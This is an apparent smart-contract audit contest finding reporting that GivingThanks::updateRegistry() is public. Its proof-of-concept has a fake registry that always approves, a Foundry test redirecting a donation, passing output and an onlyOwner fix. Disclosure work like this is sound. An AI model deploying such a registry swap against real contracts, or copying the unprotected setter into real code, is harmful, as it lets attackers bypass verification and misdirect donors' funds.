GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Public Access to GivingThanks::updateRegistry() Allows Unauthorized Registry Replacement

chrissavov

Summary

GivingThanks::updateRegistry() in GivingThanks.sol is publicly accessible, allowing any user to change the contract’s registry to an arbitrary address. This design flaw enables unauthorized parties to bypass the verification process, which could result in unverified charities receiving donations.

Vulnerability Details

Publicly Accessible Function (GivingThanks.sol line 37)

function updateRegistry(address _registry) public {
registry = CharityRegistry(_registry);
}

POC

Add the following test and contract in GivingThanks.t.sol:

// Malicious registry contract
contract MaliciousCharityRegistry {
function isVerified(address) public pure returns (bool) {
return true; // Always returns true, bypassing real verification
}
}
​
//...//
​
function testMaliciousRegistryUpdate() public {
// Deploy a fake registry with overridden isVerified behavior
MaliciousCharityRegistry maliciousRegistry = new MaliciousCharityRegistry();
// Malicious user updates the registry in GivingThanks
vm.prank(donor);
// Assume the malicious user is the donor
charityContract.updateRegistry(address(maliciousRegistry));
// Fund the donor (malicious user)
vm.deal(donor, 1 ether);
// Malicious user calls donate, expecting the donation to go through
vm.prank(donor);
charityContract.donate{value: 1 ether}(donor);
// Confirm that funds were donated despite lack of true verification
assertEq(donor.balance, 1 ether);
}

Run the test with the command forge test --mt testMaliciousRegistryUpdate
which results in the following output:

Ran 1 test for test/GivingThanks.t.sol:GivingThanksTest
[PASS] testMaliciousRegistryUpdate() (gas: 353012)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.98ms (517.17µs CPU time)

Impact

Bypassing Verification Process:
A malicious actor can replace the registry with a contract they control, allowing them to manipulate the isVerified function to always return true, bypassing verification requirements and allowing any address to receive donations.
Loss of Trust:
Users may donate to unverified addresses if the registry is modified, compromising the integrity and trust of the contract's verification process.

Tools Used

Manual review, Foundry

Recommendations

Restrict Access to updateRegistry:
Limit access to updateRegistry by making it onlyOwner to ensure only authorized accounts can modify the registry.
Updated Access Control:

function updateRegistry(address _registry) public onlyOwner {
registry = CharityRegistry(_registry);
}

OpenZeppelin's Ownable contract has already been included in GivingThanks.sol. The rest of the contract must also be updated to behave correctly.

Updates

Lead Judging Commences

n0kto Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.